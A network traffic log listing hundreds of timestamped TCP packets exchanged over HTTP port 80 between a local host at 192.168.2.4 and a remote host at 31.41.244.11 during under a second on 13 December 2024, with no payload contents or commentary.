Dec 13, 2024 01:51:20.429845095 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.430742979 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.430803061 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.430866003 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.430918932 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.431811094 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.431869030 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.431926012 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.431978941 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.432926893 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.433029890 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.433085918 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.433140039 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.433990002 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.434048891 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.434130907 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.434185982 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.435059071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.435121059 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.435189009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.435250044 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.436122894 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.436208010 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.436216116 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.436310053 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.437372923 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.437436104 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.437505960 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.437553883 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.438292980 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.438350916 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.438419104 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.438472986 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.439372063 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.439429998 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.439479113 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.439528942 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.440428019 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.440489054 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.440562963 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.440613985 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.441509962 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.441560030 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.441626072 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.441677094 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.442616940 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.442667007 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.442749023 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.442805052 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.443674088 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.443731070 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.443839073 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.443895102 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.444767952 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.444823027 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.444881916 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.444933891 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.445851088 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.445926905 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.445975065 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.446028948 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.446904898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.447037935 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.447060108 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.447143078 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.447982073 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.448046923 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.448106050 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.448152065 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.449109077 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.449163914 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.449176073 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.449212074 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.450140953 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.450206041 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.450274944 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.450328112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.451219082 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.451280117 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.451354980 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.451405048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.452362061 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.452425003 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.452490091 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.452539921 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.453392029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.453454971 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.453535080 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.453591108 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.454516888 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.454586029 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.454655886 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.454750061 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.455548048 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.455612898 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.455687046 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.455739975 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.456615925 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.456684113 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.456703901 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.456756115 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.457696915 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.457751036 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.457818985 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.457869053 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.458767891 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.458822012 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.458893061 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.458942890 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.459850073 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.459901094 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.459968090 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.460019112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.460942030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.460994959 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.461054087 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.461102009 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.462047100 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.462162971 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.462167025 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.462227106 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.463108063 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.463176966 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.463232040 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.463283062 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.464159012 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.464227915 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.464293957 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.464346886 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.465260983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.465312004 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.465379953 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.465470076 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.466356039 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.466415882 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.466470957 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.466519117 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.467421055 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.467478037 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.467539072 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.467586040 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.468437910 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.468489885 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.604475975 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.604581118 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.604620934 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.604672909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.604672909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.604674101 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.604772091 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.604872942 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.605714083 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.605813980 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.605882883 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.605882883 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.606786013 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.606842041 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.606898069 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.606952906 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.607837915 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.607892036 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.607955933 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.608006954 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.608931065 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.609092951 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.609110117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.609174967 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.610011101 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.610078096 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.610126972 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.610177040 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.611061096 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.611119986 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.611185074 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.611234903 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.612152100 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.612204075 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.612271070 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.612323999 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.613243103 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.613300085 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.613352060 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.613401890 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.614331961 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.614383936 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.614444971 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.614494085 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.615411043 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.615469933 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.615493059 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.615542889 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.616468906 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.616523027 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.616569996 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.616621971 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.617530107 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.617583036 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.617647886 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.617700100 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.618607044 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.618664026 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.618673086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.618721962 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.619708061 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.619761944 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.619817019 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.619868994 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.620759010 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.620811939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.620886087 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.620937109 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.621841908 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.621893883 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.621969938 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.622020006 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.622951984 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.623003960 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.623069048 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.623119116 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.624039888 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.624093056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.624167919 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.624217987 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.625118017 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.625211000 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.625230074 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.625282049 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.626189947 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.626244068 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.626249075 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.626298904 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.627263069 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.627299070 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.627317905 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.627342939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.628381014 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.628436089 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.628489017 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.628537893 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.629414082 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.629468918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.629508972 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.629559994 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.630480051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.630532026 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.630604982 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.630681992 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.631561995 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.631618023 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.631665945 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.631731987 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.632641077 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.632697105 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.632760048 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.632812023 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.633713961 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.633764982 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.633816957 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.633867025 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.634814978 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.634877920 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.634938955 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.634990931 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.635885000 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.635977030 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.635982037 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.636033058 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.636945009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.636998892 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.637075901 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.637137890 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.638057947 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.638112068 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.638170004 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.638220072 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.639112949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.639169931 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.639239073 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.639291048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.640192986 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.640249014 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.640312910 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.640364885 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.641252995 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.641309023 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.641382933 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.641436100 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.642348051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.642402887 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.642469883 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.642522097 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.643460035 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.643513918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.643573999 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.643624067 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.644658089 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.644711971 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.644843102 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.644897938 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.645699978 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.645756960 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.645776987 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.645824909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.646667004 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.646722078 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.646814108 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.646908045 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.647751093 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.647808075 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.647927999 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.647979975 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.648833990 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.648901939 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.648992062 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.649049044 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.649898052 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.649966002 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.650027990 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.650082111 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.650979042 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.651042938 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.651098967 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.651153088 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.652065039 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.652129889 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.652204037 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.652261019 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.653147936 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.653213024 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.653286934 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.653340101 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.654198885 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.654272079 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.654325962 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.654380083 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.655339956 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.655394077 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:20.655400038 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.655446053 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:20.656383991 CET	80	49787	31.41.244.11	192.168.2.4
